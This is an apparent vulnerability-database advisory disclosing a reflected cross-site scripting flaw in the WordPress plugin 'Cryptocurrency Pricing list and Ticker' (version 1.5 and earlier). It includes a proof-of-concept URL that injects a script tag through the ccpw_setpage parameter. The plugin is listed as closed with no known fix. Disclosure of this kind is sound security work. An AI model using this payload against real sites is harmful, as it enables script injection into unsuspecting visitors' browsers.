WordPress Plugin Vulnerabilities
Cryptocurrency Pricing list and Ticker <= 1.5 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the ccpw_setpage parameter before outputting it back in pages where its shortcode is embed, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
Append the following URL parameter on a page where the [ccpw_currencies_with_price] shortcode is embed: ccpw_setpage=1"><script>alert(/XSS/)</script> e.g: https://example.com/page_with_shortcode/?ccpw_setpage=1"><script>alert(/XSS/)</script>
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
Jeremie Amsellem
Submitter
Jeremie Amsellem
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-09-14 (about 8 months ago)
Added
2022-09-14 (about 8 months ago)
Last Updated
2022-09-14 (about 8 months ago)